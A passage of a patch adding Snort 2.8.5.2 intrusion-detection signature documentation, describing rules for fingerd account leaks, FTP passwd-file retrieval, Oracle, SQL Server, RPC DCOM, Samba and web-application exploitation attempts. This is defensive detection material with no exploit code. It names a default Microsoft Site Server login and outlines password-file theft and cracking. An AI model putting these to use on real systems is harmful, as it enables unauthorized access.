+Intelligence gathering activity. The attacker may be trying to obtain a list of accounts on the victim host.
+
+--
+Detailed Information:
+The rule generates an event when an attempt is made to exploit a bug in the Solaris "fingerd" daemon. The bug allows the attacker to obtain the lists of accounts existing on the Sun system by issuing a specially crafted finger request. 
+
+Obtaining a list of accounts may precipitate a password guessing attack, an email attack or other abuses against those accounts.
+
+--
+Attack Scenarios: 
+An attacker may learn that a "guest" account exists on the system and has never been used. He might then guesse the password for this account and is now able to log in to the system remotely using telnet or ssh for example. This might then lead to further system compromise and escalated privileges for the attacker.
+
+-- 
+Ease of Attack: 
+Simple
+No exploit software required
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Look for other IDS events involving the same IP addresses
+
+Check system logs for suspicious logins to the affected system, 
+
+Disable the fingerd daemon 
+
+Apply a vendor patch that removes the vulnerability
+
+--
+Contributors: 
+Original rule writer unknown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10788
+
+Securiteam
+http://www.securiteam.com/unixfocus/6B00M0U2UW.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1720.txt
+++ snort-2.8.5.2/doc/signatures/1720.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1720
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2866.txt
+++ snort-2.8.5.2/doc/signatures/2866.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2866
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_site_priority_site
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000177.txt
+++ snort-2.8.5.2/doc/signatures/100000177.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+100000177
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a Linksys WRT54G wireless router.
+
+-- 
+Impact: 
+Unauthorized administrative access to the router and it's configuration.
+
+--
+Detailed Information:
+A vulnerability exists in the Linksys WRT54G wireless router that may present 
+an attacker with the opportunity to take control of the victim hardware via a 
+POST request to the web interface.
+
+This is due to the apply.cgi script not performing proper checks on user 
+supplied input that may allow the attacker to overflow a fixed length buffer 
+and execute code of their choosing.
+
+--
+Affected Systems:
+Linksys WRT54G Wireless Router firmware 4.0.4.20.6 and prior
+
+--
+Attack Scenarios: 
+An attacker can supply a malformed POST request to the apply.cgi script on an 
+affected piece of hardware.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied firmware upgrade.
+
+--
+Contributors:
+Original Rule writer rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/412.txt
+++ snort-2.8.5.2/doc/signatures/412.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+412
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP IPV6 I-Am-Here datagram with an undefined ICMP code.
+
+--
+
+Impact:
+ICMP Type 34 datagrams are not expected network traffic.  Hosts generating ICMP Type 34 datagrams should be investigated for hostile activity.
+
+--
+
+Detailed Information:
+ICMP Type 34 is an undocumented extension to RFC 1812 and RFC 792.  Its current use it not defined by an approved RFC.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Hosts generating ICMP Type 34 datagrams should be investigated for hostile activity.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1303.txt
+++ snort-2.8.5.2/doc/signatures/1303.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1303
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1595.txt
+++ snort-2.8.5.2/doc/signatures/1595.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1595
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow vulnerability associated with FrontPage Server Extension software.
+
+--
+Impact:
+Remote access.  This attack may permit exeuction of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft FrontPage 97 and 98 Server Extensions are shipped with htimage.exe and imagemap.exe files that provide image-mapping support on the server for legacy browsers.  There is a vulnerability associated with the htimage.exe file because of unchecked buffers that may permit execution of arbitrary code on the vulnerable server. 
+
+--
+Affected Systems:
+Microsoft Exchange Server 5.5 and Microsoft Exchange Server 5.5 SP1, SP2, SP3, SP4
+
+--
+Attack Scenarios:
+An attacker can craft a special URL referencing the htimage.exe file that causes a buffer overflow, allowing execution of arbitrary commands on the vulnerable server.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the htimage.exe and imagemap.exe files from the server.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10376
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0256
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0122
+
+Bugtraq
+http://www.securityfocus.com/bid/1117
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000412.txt
+++ snort-2.8.5.2/doc/signatures/100000412.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000412
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "REDAXO" application running on a webserver. Access to the file "index.inc.php" using a remote file being passed as the "REX[INCLUDE_PATH]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "REX[INCLUDE_PATH]" parameter in the "index.inc.php" script used by the "REDAXO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using REDAXO
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/356.txt
+++ snort-2.8.5.2/doc/signatures/356.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 356
+
+-- 
+
+Summary:
+This event is generated when an attempt to retrieve a specific file, in this case the systems user database from an FTP server is made.
+
+-- 
+Impact: 
+Serious. The attacker may obtain a valid list of user names and/or encrypted passwords from the server.
+
+--
+Detailed Information:
+This event is generated when an attempt to download a copy of the "passwd" file from the server is made.
+
+The UNIX "passwd" file (typically located in "/etc/" directory) is used to hold the authentication information for system logins. This file needs to be readable by all system users. 
+
+Where shadow passwords are used, the actual encrypted passwords are stored in a separate file, only readable by root. It is possible to use various password cracking tools to obtain unencrypted passwords either by trying random character combinations, a predefined word list or a combination of public user information. The attacker may use the information contained in the passwd file to launch a dictionary attack against the victim host or other hosts the same users may have access to.
+
+--
+Attack Scenarios: 
+The attacker downloads a "passwd" file from a machine that does not use shadowed passwords and uses a tool like John-the-Ripper to crack the passwords used for several accounts. He then proceeds to login to the system remotely and possibly gain escalated privileges via a local exploit on the system.
+
+-- 
+
+Ease of Attack: 
+Simple. The attack usually requires FTP access to the /etc/ directory either by system misconfiguration or via a directory traversal technique. Also, in the rare circumstances the system administrator may have accidentally left a copy of a "passwd" file in a directory accessible for anonymous or other FTP users, which presents a high security risk and simplifies the attack.
+
+-- 
+
+False Positives: 
+If the string "passwd" is contained within an otherwise innocuous filename being retrieved from a server, the rule will generate an event. 
+
+Also, the anonymous FTP account often has a separate password file within the chrooted anonymous FTP directory (e.g. /var/ftp/etc/passwd). This file does not usually contain valid system usernames and passwords. While technically not a false positive, this may be considered a false alarm.
+
+--
+
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Identify the downloaded file and confirm that it indeed a valid system password file. Change the user passwords on the system and notify the users.
+
+Ensure that FTP access to sensitive system files is not allowed.
+
+--
+Contributors: 
+Original rule writer Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS319
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1818.txt
+++ snort-2.8.5.2/doc/signatures/1818.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1818
+
+--
+Summary:
+This event is generated when an attempt is made to access files associated with Microsoft Site Server.
+
+--
+Impact:
+Information gathering.  This attack may permit leaking of information associated with particular Site Server files.
+
+--
+Detailed Information:
+Microsoft Site Server is software for Windows NT servers that allows users to publish, find, and share information.  There is a vulnerability that allows leaking of information of some Site Server files when an attacker logs on with the username of 'LDAP_AnonymousUser' and a password of 'LdapPassword_1'.
+
+--
+Affected Systems:
+Microsoft Site Server 3.0 
+
+--
+Attack Scenarios:
+An attacker can log on to Site Server using a default username and password to view Site Server files.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply Service Pack 4.
+
+
+--
+Contributors:
+Original rute writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11018
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1783.txt
+++ snort-2.8.5.2/doc/signatures/1783.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+
+1783
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "oral sex".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "oral sex".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2758.txt
+++ snort-2.8.5.2/doc/signatures/2758.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2758
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_master_repobject
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1625.txt
+++ snort-2.8.5.2/doc/signatures/1625.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1625
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/946.txt
+++ snort-2.8.5.2/doc/signatures/946.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+946
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000568.txt
+++ snort-2.8.5.2/doc/signatures/100000568.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000568
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "Qdig" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "post_gallery" parameter in the "index.php" 
+script used by the "Qdig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Qdig
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/708.txt
+++ snort-2.8.5.2/doc/signatures/708.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid: 708
+
+-- 
+
+Summary: 
+This event is generated when an attempt is made to overflow a buffer in the Microsoft SQL Server and Data Engine.
+
+-- 
+Impact: 
+Serious. A Denial of Service condition or execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A buffer overflow condition exists in some versions of Microsoft SQL Server and Data Engine that may allow an attacker to execute arbitrary code with system privileges or crash the SQL Server.
+
+The attacker must gain access to the SQL Server to exploit this vulnerability.
+
+--
+
+Attack Scenarios: 
+Exploit code exists.
+
+-- 
+
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+
+False Positives: 
+None Known.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-1082
+
+Bugtraq:
+http://www.securityfocus.com/bid/2031
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/ms00-092.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000329.txt
+++ snort-2.8.5.2/doc/signatures/100000329.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000329
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Invision Power Board" application running on a webserver. Access to the file "class_post.php" using a remote file being passed as the "post_icon" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "post_icon" parameter in the "class_post.php" script used by the "Invision Power Board" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Invision Power Board
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/674.txt
+++ snort-2.8.5.2/doc/signatures/674.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+674
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/920.txt
+++ snort-2.8.5.2/doc/signatures/920.txt
@@ -0,0 +1,62 @@
+SID:
+920
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3356.txt
+++ snort-2.8.5.2/doc/signatures/3356.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3356
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3034.txt
+++ snort-2.8.5.2/doc/signatures/3034.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3034
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
